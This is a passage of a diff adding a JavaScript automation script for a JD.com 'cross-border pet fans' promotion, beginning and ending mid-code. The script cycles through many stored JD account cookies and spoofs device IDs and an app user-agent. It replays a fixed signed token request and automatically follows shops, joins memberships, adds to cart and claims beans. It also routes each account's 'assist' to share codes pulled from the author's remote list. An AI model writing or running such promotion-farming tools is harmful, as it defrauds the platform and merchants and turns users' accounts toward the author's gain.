this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_lzdz1_guafen.js b/backUp/jd_lzdz1_guafen.js new file mode 100644 index 0000000..d1fb56e --- /dev/null +++ b/backUp/jd_lzdz1_guafen.js @@ -0,0 +1,585 @@ +/* +跨界宠粉 豪礼放送 +2021年10月31日 - 2021年11月13日 +https://lzdz1-isv.isvjcloud.com/dingzhi/customized/common/activity/5063373?activityId=llk20211031b&shareUuid=2d23a36065d84f559b2c3afa75456631 +*/ +const $ = new Env("跨界宠粉 豪礼放送"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let ownCode = null; +let authorCodeList = [] +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/dongge/raw/master/dongge/lzdz1_guafen.json') + if(authorCodeList === '404: Not Found'){ + authorCodeList = [ + '2d23a36065d84f559b2c3afa75456631', + ] + } + // console.log(authorCodeList) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + // if ($.isNode()) { + // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + // } + continue + } + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + // $.authorCode = authorCodeList[random(0, authorCodeList.length)] + $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}` + $.randomCode = random(1000000, 9999999) + $.activityId = 'llk20211031b' + $.activityShopId = '1000001195' + $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/customized/common/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=undefined&lng=00.000000&lat=00.000000&sid=&un_area=` + await member(); + await $.wait(5000) + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function member() { + $.token = null; + $.secretPin = null; + $.openCardActivityId = null + await getFirstLZCK() + await getToken(); + await task('dz/common/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) + if ($.token) { + await getMyPing(); + if ($.secretPin) { + console.log("去助力 -> "+$.authorCode) + await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); + await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) + if ($.index === 1) { + await task('linkgame/activity/content', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1) + } else { + await task('linkgame/activity/content', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) + } + $.log("关注店铺") + await task('linkgame/follow/shop', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) + await task('taskact/common/drawContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) + await task('linkgame/checkOpenCard', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) + $.log("加入店铺会员") + if ($.openCardList) { + for (let i = 0; i < ($.openCardList.length); i++) { + $.log(">>> 模拟上报访问记录") + await task('crm/pageVisit/insertCrmPageVisit', `venderId=1000001373&pageId=llk20211020&elementId=入会跳转&pin=${encodeURIComponent($.secretPin)}`, 1) + await $.wait(2000) + } + + for (const vo of $.openCardList) { + $.log(`>>> 去加入${vo.name} ${vo.venderId}`) + if (vo.status === 0) { + await getShopOpenCardInfo({ "venderId": `${vo.venderId}`, "channel": "401" }, vo.venderId) + await bindWithVender({ "venderId": `${vo.venderId}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.venderId) + await $.wait(2000) + } else { + $.log(`>>> 已经是会员`) + } + + } + } else { + $.log("没有获取到对应的任务。\n") + } + await task('linkgame/checkOpenCard', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) + if ($.openCardStatus) { + // console.log('去助力 -> ' + $.authorCode) + if ($.openCardStatus.allOpenCard) { + await task('linkgame/assist/status', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&shareUuid=${$.authorCode}`) + await task('linkgame/assist', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&shareUuid=${$.authorCode}`) + + } + } + await task('linkgame/help/list', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) + + await task('linkgame/task/info', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) + if ($.TaskList) { + tasklist = $.TaskList + if (!$.TaskList.sign) { + await task('linkgame/sign', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); + } else { + console.log("已完成签到") + } + if (!$.TaskList.visitSku) { + for (const vo of tasklist.visitSkuList) { + if (vo.status === 0) { + await task('linkgame/browseGoods', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&value=${vo.goodsCode}`) + } + } + } else { + console.log("已完成浏览任务"); + } + if (!$.TaskList.addCart) { + await task('linkgame/addCart', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); + } else { + console.log("加购任务已完成") + } + } + } + } +} + +function task(function_id, body, isCommon = 0, own = 0) { + return new Promise(resolve => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (data.result) { + switch (function_id) { + case 'dz/common/getSimpleActInfoVo': + $.jdActivityId = data.data.jdActivityId; + $.venderId = data.data.venderId; + $.activityType = data.data.activityType; + break; + case 'wxActionCommon/getUserInfo': + break; + case 'linkgame/activity/content': + if (!data.data.hasEnd) { + $.log(`开启【${data.data.activity['name']}】活动`) + $.log("-------------------") + if ($.index === 1) { + ownCode = data.data.actor['actorUuid'] + console.log(ownCode) + } + $.actorUuid = data.data.actor['actorUuid']; + } else { + $.log("活动已经结束"); + } + break; + case 'linkgame/checkOpenCard': + $.openCardList = data.data.openCardList; + $.openCardStatus = data.data; + // console.log(data) + break; + case 'linkgame/follow/shop': + console.log(data) + break; + case 'linkgame/sign': + console.log(data) + break; + case 'linkgame/addCart': + console.log(data) + break; + case 'linkgame/browseGoods': + console.log(data) + break; + case 'interaction/write/writePersonInfo': + console.log(data) + break; + case 'linkgame/task/info': + console.log(data) + break; + case 'linkgame/assist/status': + console.log(data) + break; + case 'linkgame/assist': + console.log(data) + break; + case 'linkgame/help/list': + console.log(data) + break; + default: + // $.log(JSON.stringify(data)) + break; + } + } else { + // $.log(JSON.stringify(data)) + } + } else { + // $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function getShopOpenCardInfo(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.interestsRuleList) { + $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function bindWithVender(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.giftInfo && res.result.giftInfo.giftList) { + for (const vo of res.result.giftInfo.giftList) { + if (vo.prizeType === 4) { + $.log(`==>获得【${vo.quantity}】京豆`) + $.bean += vo.quantity + } + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} + +function getAuthorCodeList(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + $.logErr(e, resp) + data = null; + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzdz1-isv.isvjcloud.com/${function_id}` : `https://lzdz1-isv.isvjcloud.com/dingzhi/${function_id}`, + headers: { + Host: 'lzdz1-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie + }, + body: body + + } +} + +function getMyPing() { + let opt = { + url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: 'lzdz1-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` + } else { + $.log(data.errorMessage) + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl }, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 